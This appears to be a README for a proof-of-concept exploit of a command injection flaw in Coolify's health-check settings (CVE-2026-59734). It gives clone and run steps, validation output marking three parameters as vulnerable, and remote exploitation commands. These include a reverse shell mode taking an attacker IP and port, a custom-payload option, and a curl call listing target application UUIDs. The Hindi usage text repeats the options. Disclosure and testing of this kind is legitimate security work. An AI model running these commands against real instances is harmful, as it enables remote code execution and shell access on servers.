┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Type             │ OS Command Injection (CWE-78)        │
│ Severity         │ HIGH — CVSS 8.8                      │
│ Attack Vector    │ Network (Authenticated)              │
│ Affected         │ Coolify <= v4.0.0-beta.460           │
│ Fixed In         │ Coolify >= v4.0.0-beta.469           │
│ Fix Commit       │ 23f9156c7                            │
│ Reporter         │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local

═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection

# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

उपयोग:

  स्थानीय मान्यता (सुरक्षित, ऑफ़लाइन):
    ./coolify_healthcheck_rce_poc.sh --local

  रिमोट शोषण (प्रमाणीकरण आवश्यक):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]

विकल्प:
  --url       कूलिफ़ाई इंस्टेंस URL (उदा. https://coolify.example.com)
  --token     API बियरर टोकन
  --uuid      लक्ष्य एप्लिकेशन UUID
  --payload   कस्टम इंजेक्शन पेलोड
  --lhost     रिवर्स शेल के लिए हमलावर IP
  --lport     रिवर्स शेल के लिए हमलावर पोर्ट (डिफ़ॉल्ट: 4444)
  --cleanup   शोषण के बाद मूल कॉन्फ़िगरेशन पुनर्स्थापित करें

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'